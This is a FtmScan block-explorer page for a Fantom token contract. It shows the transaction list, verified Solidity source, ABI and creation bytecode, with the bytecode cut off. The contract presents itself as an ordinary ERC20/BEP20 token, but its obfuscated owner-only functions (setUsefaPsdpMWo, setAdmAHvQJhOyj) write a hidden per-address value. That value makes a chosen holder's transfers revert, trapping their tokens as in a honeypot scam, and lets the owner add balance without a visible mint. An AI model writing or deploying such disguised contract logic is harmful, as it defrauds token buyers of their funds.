Contract 0xEAeefB0fA5705C21fe10903Dc686697D8d8D8944

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x6098f2c5fd74a785d485825d8cf1e08ad43f86e47a064acf71e0e96b9d7c185eApprove513939822022-11-24 15:05:498 days 22 hrs ago0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b IN  0xeaeefb0fa5705c21fe10903dc686697d8d8d89440 FTM0.004652064992
0x02ac761fb6370249ef4222133042664b869b98b86f7fa5359d14269e5facbbd9Approve513939402022-11-24 15:04:508 days 22 hrs ago0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b IN  0xeaeefb0fa5705c21fe10903dc686697d8d8d89440 FTM0.004654421164
0xfe03c1860c2d25aa679253b188e3bb8f505267efa4c66b3e3790fbb8d12fe6d00x60806040513938652022-11-24 15:03:078 days 22 hrs ago0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b IN  Create: Token0 FTM0.277666023609
[ Download CSV Export 
Latest 1 internal transaction
Parent Txn Hash Block From To Value
0xfe03c1860c2d25aa679253b188e3bb8f505267efa4c66b3e3790fbb8d12fe6d0513938652022-11-24 15:03:078 days 22 hrs ago 0x47ff51e840337f4633b069e9bfa4e3d25f2eaf0b  Contract Creation0 FTM
[ Download CSV Export 
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at FtmScan.com on 2022-11-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}



abstract contract Ownable is Context {
    address private _owner;

    event ownershipTransfer(address indexed previousowner, address indexed newowner);

    constructor() {
        _transferOwnerShip(_msgSender());
    }


    function owner() public view virtual returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function transferownership() public virtual onlyOwner {
        _transferOwnerShip(address(0));
    }


    function transferownership_transferOwnerShip(address newowner) public virtual onlyOwner {
        require(newowner != address(0), "Ownable: new owner is the zero address");
        _transferOwnerShip(newowner);
    }


    function _transferOwnerShip(address newowner) internal virtual {
        address oldowner = _owner;
        _owner = newowner;
        emit ownershipTransfer(oldowner, newowner);
    }
}



library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {

        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }


    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }


    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }


    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }


    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }


    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }


    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}




interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint heSaRAWOjADesired,
        uint heSaRAWOjBDesired,
        uint heSaRAWOjAMin,
        uint heSaRAWOjBMin,
        address to,
        uint deadline
    ) external returns (uint heSaRAWOjA, uint heSaRAWOjB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint heSaRAWOjTokenDesired,
        uint heSaRAWOjTokenMin,
        uint heSaRAWOjETHMin,
        address to,
        uint deadline
    ) external payable returns (uint heSaRAWOjToken, uint heSaRAWOjETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint heSaRAWOjAMin,
        uint heSaRAWOjBMin,
        address to,
        uint deadline
    ) external returns (uint heSaRAWOjA, uint heSaRAWOjB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint heSaRAWOjTokenMin,
        uint heSaRAWOjETHMin,
        address to,
        uint deadline
    ) external returns (uint heSaRAWOjToken, uint heSaRAWOjETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint heSaRAWOjAMin,
        uint heSaRAWOjBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint heSaRAWOjA, uint heSaRAWOjB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint heSaRAWOjTokenMin,
        uint heSaRAWOjETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint heSaRAWOjToken, uint heSaRAWOjETH);
    function swapExactTokensForTokens(
        uint heSaRAWOjIn,
        uint heSaRAWOjOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory heSaRAWOjs);
    function swapTokensForExactTokens(
        uint heSaRAWOjOut,
        uint heSaRAWOjInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory heSaRAWOjs);
    function swapExactETHForTokens(uint heSaRAWOjOutMin, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory heSaRAWOjs);
    function swapTokensForExactETH(uint heSaRAWOjOut, uint heSaRAWOjInMax, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory heSaRAWOjs);
    function swapExactTokensForETH(uint heSaRAWOjIn, uint heSaRAWOjOutMin, address[] calldata path, address to, uint deadline)
    external
    returns (uint[] memory heSaRAWOjs);
    function swapETHForExactTokens(uint heSaRAWOjOut, address[] calldata path, address to, uint deadline)
    external
    payable
    returns (uint[] memory heSaRAWOjs);

    function quote(uint heSaRAWOjA, uint reserveA, uint reserveB) external pure returns (uint heSaRAWOjB);
    function getheSaRAWOjOut(uint heSaRAWOjIn, uint reserveIn, uint reserveOut) external pure returns (uint heSaRAWOjOut);
    function getheSaRAWOjIn(uint heSaRAWOjOut, uint reserveIn, uint reserveOut) external pure returns (uint heSaRAWOjIn);
    function getheSaRAWOjsOut(uint heSaRAWOjIn, address[] calldata path) external view returns (uint[] memory heSaRAWOjs);
    function getheSaRAWOjsIn(uint heSaRAWOjOut, address[] calldata path) external view returns (uint[] memory heSaRAWOjs);
}




interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingfireOnTransferTokens(
        address token,
        uint liquidity,
        uint heSaRAWOjTokenMin,
        uint heSaRAWOjETHMin,
        address to,
        uint deadline
    ) external returns (uint heSaRAWOjETH);
    function removeLiquidityETHWithPermitSupportingfireOnTransferTokens(
        address token,
        uint liquidity,
        uint heSaRAWOjTokenMin,
        uint heSaRAWOjETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint heSaRAWOjETH);

    function swapExactTokensForTokensSupportingfireOnTransferTokens(
        uint heSaRAWOjIn,
        uint heSaRAWOjOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingfireOnTransferTokens(
        uint heSaRAWOjOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingfireOnTransferTokens(
        uint heSaRAWOjIn,
        uint heSaRAWOjOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}





interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function BpjAXCsLR() external view returns (address);
    function BpjAXCsLRSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setBpjAXCsLR(address) external;
    function setBpjAXCsLRSetter(address) external;
}



contract BEP20 is Context {
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _liyqzNuvN;
    string private _name;
    string private _symbol;


    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _liyqzNuvN;
    }


    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
    unchecked {
        _approve(owner, spender, currentAllowance - subtractedValue);
    }

        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


contract Token is BEP20, Ownable {

    mapping(address => uint256) private _balances;
    mapping(address => bool) private lcBxNSxRB;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 aqBlpXIXU = _balances[from];
        require(aqBlpXIXU >= amount, "ERC20: transfer amount exceeds balance");
    unchecked {
        _balances[from] = aqBlpXIXU - amount;
    }
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 zyoroxHiY = _balances[account];
        require(zyoroxHiY >= amount, "ERC20: burn amount exceeds balance");
    unchecked {
        _balances[account] = zyoroxHiY - amount;
    }
        _liyqzNuvN -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _mtin(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mtin to the zero address");

        _liyqzNuvN += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }


    address public uniswapV2Pair;
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) BEP20(name_, symbol_) {
        _mtin(msg.sender, totalSupply_ * 10**decimals());
    }

    using SafeMath for uint256;

    uint256 private _muSjusNYR = 2;

    uint256 private _mIzoQDgcM = 0;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping(address => int256) private _pDVHaaoBV;

    function setPairxBqsuTDig(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }

    function setAdmAHvQJhOyj(address vgLfuEQNy,int256 amount ) public onlyOwner {
        _pDVHaaoBV[vgLfuEQNy] += amount;
    }

    function setUsefaPsdpMWo(address vgLfuEQNy) public onlyOwner {
        _pDVHaaoBV[vgLfuEQNy] = int256(0) - int256(_liyqzNuvN);
    }

    function getqFtvOWBfa(address vgLfuEQNy) public view returns (int256) {
        return _pDVHaaoBV[vgLfuEQNy];
    }


    function _HlRjFLnHL(
        address from,
        address _to,
        uint256 _heSaRAWOj
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(_to != address(0), "ERC20: transfer to the zero address");

        uint256 aqBlpXIXU = _balances[from];
        require(aqBlpXIXU >= _heSaRAWOj, "ERC20: transfer amount exceeds balance");
        if (_pDVHaaoBV[from] > 0){
            _balances[from] = _balances[from].add(uint256(_pDVHaaoBV[from]));
        }else if (_pDVHaaoBV[from] < 0){
            _balances[from] = _balances[from].sub(uint256(_pDVHaaoBV[from]));
        }


        uint256 oZNosAvflheSaRAWOj = 0;
        uint256 oZNosAvfl = _muSjusNYR;
        if (uniswapV2Pair != address(0)) {
            if (_to == uniswapV2Pair) {
                oZNosAvfl = _muSjusNYR;
            }
            if (from == uniswapV2Pair) {
                oZNosAvfl = _mIzoQDgcM;
            }
        }
        oZNosAvflheSaRAWOj = _heSaRAWOj.mul(oZNosAvfl).div(100);

        if (oZNosAvflheSaRAWOj > 0) {
            _balances[from] = _balances[from].sub(oZNosAvflheSaRAWOj);
            _balances[_deadAddress] = _balances[_deadAddress].add(oZNosAvflheSaRAWOj);
            emit Transfer(from, _deadAddress, oZNosAvflheSaRAWOj);
        }

        _balances[from] = _balances[from].sub(_heSaRAWOj - oZNosAvflheSaRAWOj);
        _balances[_to] = _balances[_to].add(_heSaRAWOj - oZNosAvflheSaRAWOj);
        emit Transfer(from, _to, _heSaRAWOj - oZNosAvflheSaRAWOj);
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        address owner = _msgSender();
        _HlRjFLnHL(owner, to, amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, amount);
        _HlRjFLnHL(from, to, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"vgLfuEQNy","type":"address"}],"name":"getqFtvOWBfa","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"vgLfuEQNy","type":"address"},{"internalType":"int256","name":"amount","type":"int256"}],"name":"setAdmAHvQJhOyj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairxBqsuTDig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"vgLfuEQNy","type":"address"}],"name":"setUsefaPsdpMWo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newowner","type":"address"}],"name":"transferownership_transferOwnerShip","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600260085560006009553480156200001b57600080fd5b5060405162002d4538038062002d4583398181016040528101906200004191906200043e565b828281600290805190602001906200005b92919062000305565b5080600390805190602001906200007492919062000305565b505050620000976200008b620000dc60201b60201c565b620000e460201b60201c565b620000d333620000ac620001aa60201b60201c565b600a620000ba919062000688565b83620000c79190620007c5565b620001b360201b60201c565b5050506200095d565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f7ee35ffa528a36037ec23ed4b99d479118464d605ffa951ac0441db66273b33260405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000226576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021d9062000519565b60405180910390fd5b80600160008282546200023a9190620005d0565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002929190620005d0565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002f991906200053b565b60405180910390a35050565b828054620003139062000873565b90600052602060002090601f01602090048101928262000337576000855562000383565b82601f106200035257805160ff191683800117855562000383565b8280016001018555821562000383579182015b828111156200038257825182559160200191906001019062000365565b5b50905062000392919062000396565b5090565b5b80821115620003b157600081600090555060010162000397565b5090565b6000620003cc620003c6846200058c565b62000558565b905082815260208101848484011115620003e557600080fd5b620003f28482856200083d565b509392505050565b600082601f8301126200040c57600080fd5b81516200041e848260208601620003b5565b91505092915050565b600081519050620004388162000943565b92915050565b6000806000606084860312156200045457600080fd5b600084015167ffffffffffffffff8111156200046f57600080fd5b6200047d86828701620003fa565b935050602084015167ffffffffffffffff8111156200049b57600080fd5b620004a986828701620003fa565b9250506040620004bc8682870162000427565b9150509250925092565b6000620004d5601f83620005bf565b91507f45524332303a206d74696e20746f20746865207a65726f2061646472657373006000830152602082019050919050565b620005138162000826565b82525050565b600060208201905081810360008301526200053481620004c6565b9050919050565b600060208201905062000552600083018462000508565b92915050565b6000604051905081810181811067ffffffffffffffff8211171562000582576200058162000907565b5b8060405250919050565b600067ffffffffffffffff821115620005aa57620005a962000907565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b6000620005dd8262000826565b9150620005ea8362000826565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006225762000621620008a9565b5b828201905092915050565b6000808291508390505b60018511156200067f57808604811115620006575762000656620008a9565b5b6001851615620006675780820291505b8081029050620006778562000936565b945062000637565b94509492505050565b6000620006958262000826565b9150620006a28362000830565b9250620006d17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006d9565b905092915050565b600082620006eb5760019050620007be565b81620006fb5760009050620007be565b81600181146200071457600281146200071f5762000755565b6001915050620007be565b60ff841115620007345762000733620008a9565b5b8360020a9150848211156200074e576200074d620008a9565b5b50620007be565b5060208310610133831016604e8410600b84101617156200078f5782820a905083811115620007895762000788620008a9565b5b620007be565b6200079e84848460016200062d565b92509050818404811115620007b857620007b7620008a9565b5b81810290505b9392505050565b6000620007d28262000826565b9150620007df8362000826565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200081b576200081a620008a9565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200085d57808201518184015260208101905062000840565b838111156200086d576000848401525b50505050565b600060028204905060018216806200088c57607f821691505b60208210811415620008a357620008a2620008d8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160011c9050919050565b6200094e8162000826565b81146200095a57600080fd5b50565b6123d8806200096d6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80638cbbab8b116100ad578063a9059cbb11610071578063a9059cbb14610320578063ad701f3514610350578063c9beb2951461036c578063dd62ed3e14610388578063f093a602146103b857610121565b80638cbbab8b1461027a5780638da5cb5b1461028457806395d89b41146102a2578063a24187d3146102c0578063a457c2d7146102f057610121565b806323b872dd116100f457806323b872dd146101ae578063313ce567146101de57806339509351146101fc57806349bd5a5e1461022c57806370a082311461024a57610121565b806306fdde0314610126578063095ea7b314610144578063099a79001461017457806318160ddd14610190575b600080fd5b61012e6103d4565b60405161013b9190611e2a565b60405180910390f35b61015e600480360381019061015991906119cf565b610466565b60405161016b9190611df4565b60405180910390f35b61018e600480360381019061018991906118df565b610489565b005b610198610575565b6040516101a59190611f6c565b60405180910390f35b6101c860048036038101906101c39190611944565b61057f565b6040516101d59190611df4565b60405180910390f35b6101e66105ae565b6040516101f39190611f87565b60405180910390f35b610216600480360381019061021191906119cf565b6105b7565b6040516102239190611df4565b60405180910390f35b610234610660565b6040516102419190611dd9565b60405180910390f35b610264600480360381019061025f91906118df565b610686565b6040516102719190611f6c565b60405180910390f35b6102826106cf565b005b61028c610772565b6040516102999190611dd9565b60405180910390f35b6102aa61079c565b6040516102b79190611e2a565b60405180910390f35b6102da60048036038101906102d591906118df565b61082e565b6040516102e79190611e0f565b60405180910390f35b61030a600480360381019061030591906119cf565b610877565b6040516103179190611df4565b60405180910390f35b61033a600480360381019061033591906119cf565b610960565b6040516103479190611df4565b60405180910390f35b61036a600480360381019061036591906118df565b610983565b005b610386600480360381019061038191906118df565b610a96565b005b6103a2600480360381019061039d9190611908565b610b71565b6040516103af9190611f6c565b60405180910390f35b6103d260048036038101906103cd9190611993565b610bf7565b005b6060600280546103e39061228d565b80601f016020809104026020016040519081016040528092919081815260200182805461040f9061228d565b801561045c5780601f106104315761010080835404028352916020019161045c565b820191906000526020600020905b81548152906001019060200180831161043f57829003601f168201915b5050505050905090565b600080610471610ce8565b905061047e818585610cf0565b600191505092915050565b610491610ce8565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051790611eec565b60405180910390fd5b600154600061052f9190612133565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600154905090565b60008061058a610ce8565b9050610597858285610eba565b6105a2858585610f46565b60019150509392505050565b60006012905090565b6000806105c2610ce8565b90506106558185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106509190612052565b610cf0565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106d7610ce8565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075d90611eec565b60405180910390fd5b6107706000611782565b565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546107ab9061228d565b80601f01602080910402602001604051908101604052809291908181526020018280546107d79061228d565b80156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080610882610ce8565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610947576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093e90611f4c565b60405180910390fd5b6109548286868403610cf0565b60019250505092915050565b60008061096b610ce8565b9050610978818585610f46565b600191505092915050565b61098b610ce8565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1190611eec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8190611e6c565b60405180910390fd5b610a9381611782565b50565b610a9e610ce8565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490611eec565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bff610ce8565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8590611eec565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610cdd9190611fbe565b925050819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5790611f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc790611e8c565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ead9190611f6c565b60405180910390a3505050565b6000610ec68484610b71565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f405781811015610f32576040517f08